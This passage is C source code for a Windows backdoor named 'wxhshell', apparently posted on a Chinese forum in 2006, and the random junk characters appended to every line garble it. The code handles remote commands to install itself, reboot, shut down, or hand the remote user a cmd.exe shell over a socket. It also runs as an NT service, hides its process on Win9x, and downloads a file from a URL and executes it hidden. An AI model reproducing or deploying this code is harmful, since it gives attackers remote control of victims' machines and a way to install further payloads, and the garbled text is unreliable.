  // 帮助 `YUeVz>q?  
  case '?': { ]- 6q`'?[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yEMM@5W)8  
    break; @~Ys*]4UE  
  } nuDu  
  // 安装 `ZZ3!$czR  
  case 'i': { LGw-cX #  
    if(Install()) NT2XG& $W>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4X",:B}  
    else ZbiC=uh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y #C9@C  
    break; 9_?<T;]"  
    } =jKu=!QPq  
  // 卸载 +PnuWK$  
  case 'r': { e_-7,5Co  
    if(Uninstall()) z;?ztpa@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C =CZtjUt  
    else (-Q~@Q1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $vK,Gugcx  
    break; EXF]y}n  
    } >0[:uu,'>  
  // 显示 wxhshell 所在路径 TQ:h[6v  
  case 'p': { E=8GSl/Jx  
    char svExeFile[MAX_PATH]; ~+d{:WY  
    strcpy(svExeFile,"\n\r"); #eN2{G=4+  
      strcat(svExeFile,ExeFile); ~Ad2L*5S  
        send(wsh,svExeFile,strlen(svExeFile),0); -[J4nN&N  
    break; bHcBjk.\  
    } HY eCq9S  
  // 重启 :{^~&jgL  
  case 'b': { H5#]MOAP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m,"-/)  
    if(Boot(REBOOT)) +=Q:g,kP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:(i}g<3  
    else { *DvX|| `&  
    closesocket(wsh); ?(U;T!n  
    ExitThread(0); 5Ok3y|cEx  
    } Pwj|]0Y@  
    break; $a8,C\m e?  
    } FZ}^)u}o  
  // 关机 j/Y]3RSMp  
  case 'd': { ?w!8;xS8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "+4Jmf9  
    if(Boot(SHUTDOWN)) WO{7/h</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ng?Ar[  
    else { `#w#!@s#@  
    closesocket(wsh); $m~&| s  
    ExitThread(0); WtKKdL  
    } .I EHjy\+  
    break; Qd\='*:!  
    } $=,pQ q  
  // 获取shell i-;#FT+ Xc  
  case 's': { ,\X ! :y~  
    CmdShell(wsh); j!NXNuy:  
    closesocket(wsh); [mQ1r*[j  
    ExitThread(0); $j(d`@.DN~  
    break; )A%* l9\nG  
  } b{,v?7^4  
  // 退出 63%V_B|  
  case 'x': { \.oJ/++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fzw:[z:%  
    CloseIt(wsh); !q,7@W3i  
    break; %'i_iF8.  
    } l`l6Y>c*]  
  // 离开 CshME\/  
  case 'q': { < qab\M0W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +c!HXX  
    closesocket(wsh); iLJ@oM;2  
    WSACleanup(); PYWFz   
    exit(1); KAD2_@l  
    break; 8m=R" %h  
        } ]T|$nwQ  
  } h~]e~u V  
  } ! [1aP,  
*k;bkd4x  
  // 提示信息 6it [i@*"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M ;b3- i  
} 7P(jMalq  
  } D!OY<?  
o?m1  
  return; N>YSXh`W`y  
} DZ\ '7%c  
2A@oa9  
// shell模块句柄 m,t{D, 2  
int CmdShell(SOCKET sock) 4i{Xs5zk  
{ 7FPSBvU#/  
STARTUPINFO si; ) 3"!Q+  
ZeroMemory(&si,sizeof(si)); kppi>!6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vt3*~Beb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <uS/8MP{  
PROCESS_INFORMATION ProcessInfo; 52j3[in  
char cmdline[]="cmd"; S>h\D4.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *xpn-hCp<  
  return 0; 2Sa{=x N)  
} 6;:D!},'c  
yA"?Hv\o;  
// 自身启动模式 ) 9 2(C  
int StartFromService(void) i.7_i78\"  
{ \-]tvgA~&  
typedef struct Xe_djy'8  
{ Yb`b /BMR  
  DWORD ExitStatus; ;` Xm?N  
  DWORD PebBaseAddress; Y$"m*0  
  DWORD AffinityMask; _0gdt4  
  DWORD BasePriority; q78OP}  
  ULONG UniqueProcessId; \b $pH  
  ULONG InheritedFromUniqueProcessId; M^8zqAA  
}   PROCESS_BASIC_INFORMATION; l3ogMRq@  
C P&u  
PROCNTQSIP NtQueryInformationProcess; #_S]\=N(  
wMN{9Ce3j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2cQ~$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "ldd&><  
HyWR&0J  
  HANDLE             hProcess; 1hCU"|VH:  
  PROCESS_BASIC_INFORMATION pbi; D8u`6/^  
2jC:uk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =v::N\&  
  if(NULL == hInst ) return 0; 'Ca;gi !U  
o!~XYEXvUa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \+sa[jK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hx;kNcPbI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5EVypw?]x  
a?nK|Q=e  
  if (!NtQueryInformationProcess) return 0; +aEm]=3  
Spx%`O<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]g;+7  
  if(!hProcess) return 0; 1;c>#20  
"|dhmV[;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |5dNJF8;Q  
~' 955fK>  
  CloseHandle(hProcess); #[x*0K-h  
WxO+cB+?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SE'|||B  
if(hProcess==NULL) return 0; ]nebL{}5  
56c[$ q  
HMODULE hMod; /1{:uh$  
char procName[255]; ?t6wozib2  
unsigned long cbNeeded; T}msF  
'Z.C&6_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M\k[?i  
D=3Z] 'A  
  CloseHandle(hProcess); c-(dm:  
e4Qjx*[G  
if(strstr(procName,"services")) return 1; // 以服务启动 2bw) , W  
O%>*=h`P  
  return 0; // 注册表启动 |:#Ug  
} *tRsm"}  
\MmOI<Hd-  
// 主模块 nt()UC`5  
int StartWxhshell(LPSTR lpCmdLine) V[*>}XQER  
{ NrXIaN  
  SOCKET wsl; _oG%bNM  
BOOL val=TRUE; Z&iW1  
  int port=0; 2 yANf  
  struct sockaddr_in door; $G)HU6hF*  
oLX[!0M^  
  if(wscfg.ws_autoins) Install(); }AB_i'C0  
LprGsqr:  
port=atoi(lpCmdLine); J!~kqNI  
zY*~2|q,s  
if(port<=0) port=wscfg.ws_port; zGz}.-F  
aN*{nW  
  WSADATA data; mejNa(D ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H? z~V-8  
nu1XT 1q1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aj1,h)P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0',buJncV  
  door.sin_family = AF_INET; 2!W[ff@~7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >\:GFD{z  
  door.sin_port = htons(port); &v;fK$=2C  
6E1~dK0t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y5aPs z  
closesocket(wsl); n^|xp;] :  
return 1; B?^~1Ua9Zv  
} O"o|8 l}M/  
#*y.C[^5{  
  if(listen(wsl,2) == INVALID_SOCKET) { ,\&r\!=  
closesocket(wsl); jLM y27Cn  
return 1; }{@y]DcdM4  
} ??.aLeF&  
  Wxhshell(wsl); |X XO0  
  WSACleanup(); z>,tP  
j<BRaT  
return 0; ',]Aj!q  
i g7|kl  
} RkF^V(  
C_q2bI  
// 以NT服务方式启动 D8~\*0->  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y7q Q` |  
{ "mE/t  (  
DWORD   status = 0; ?#&[1.= u  
  DWORD   specificError = 0xfffffff; >m!Z$m([J  
IOC$jab@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r 9M3rj]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v_U/0 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I Ij:3HP  
  serviceStatus.dwWin32ExitCode     = 0; - uO(qUa#  
  serviceStatus.dwServiceSpecificExitCode = 0; o(?9vU  
  serviceStatus.dwCheckPoint       = 0; [) >Yp-n  
  serviceStatus.dwWaitHint       = 0; q&?hwX Z7  
j(;ou?Uh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Q<OSa='  
  if (hServiceStatusHandle==0) return; h~qvd--p0  
kiyKL:6D|  
status = GetLastError(); ;3& wO~lW  
  if (status!=NO_ERROR) >)*d/^  
{ ? -3G5yy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KTmwkZcfYD  
    serviceStatus.dwCheckPoint       = 0; Z{l`X#':  
    serviceStatus.dwWaitHint       = 0; D'ZUbAh!  
    serviceStatus.dwWin32ExitCode     = status; wxJ"{(;  
    serviceStatus.dwServiceSpecificExitCode = specificError; F|!=]A<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uy|!f]"?  
    return; V,c^Vq y  
  } bxL'k/Y$  
u^^jt(j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rc>}3?o  
  serviceStatus.dwCheckPoint       = 0; KI*b We  
  serviceStatus.dwWaitHint       = 0; T1Z*>(M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V(LfFO{^>?  
} jZmL7 V  
+.^pAz U}R  
// 处理NT服务事件,比如:启动、停止 B+R|fQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) go6; _  
{ Yg&/^  
switch(fdwControl) Z vC?F=tH  
{ L$!2<eK  
case SERVICE_CONTROL_STOP: ,+OVRc  
  serviceStatus.dwWin32ExitCode = 0; /5epDDP-t5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Ss W  
  serviceStatus.dwCheckPoint   = 0; HL$7Ou  
  serviceStatus.dwWaitHint     = 0; r+#g  
  { IS[q'Cv*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qSD`S1'2;  
  } %$)Sz[=  
  return; }c= Y<Cdh  
case SERVICE_CONTROL_PAUSE: ^j pQfDe6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v&9:Wd*Iz'  
  break; "9Q_lVI|Q  
case SERVICE_CONTROL_CONTINUE: fn7?g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4T$jY}U  
  break; *Ev8f11i&  
case SERVICE_CONTROL_INTERROGATE: d0%Wz5Np  
  break; m@D :t 5  
}; g~9rt_OV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Y#W#G  
} /&@q*L  
N(J#<;!yb  
// 标准应用程序主函数 ih75 C"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bYhG`1,$-a  
{ m`xYd  
t(.vX  
// 获取操作系统版本 &"Cy&[  
OsIsNt=GetOsVer(); @'hkU$N)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0/z$W.!  
*YQXxIIq  
  // 从命令行安装 ZtGk Md$  
  if(strpbrk(lpCmdLine,"iI")) Install(); EUgKJ=jw  
$ 6r> Tc](  
  // 下载执行文件 `8\" 3S  
if(wscfg.ws_downexe) { S @!z'$&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T(cpU,Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]*)l_mut7  
} 0oi.k;  
tdu:imH~  
if(!OsIsNt) { D^];6\=.i  
// 如果时win9x,隐藏进程并且设置为注册表启动 [(8s\>T  
HideProc(); W_/$H_04+  
StartWxhshell(lpCmdLine); T|(w-)mv  
} mB bGj3u;  
else J=O_nup6C  
  if(StartFromService()) m*7RC4"J  
  // 以服务方式启动 s{Y-Vdx  
  StartServiceCtrlDispatcher(DispatchTable); pA@R,O>zr  
else .ubZ  
  // 普通方式启动 fL'Ci;.;+  
  StartWxhshell(lpCmdLine); @K#}nKN'  
pOl6x iMx  
return 0; 7fT_]H8  
}
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只看该作者 1 发表于: 2006-10-10
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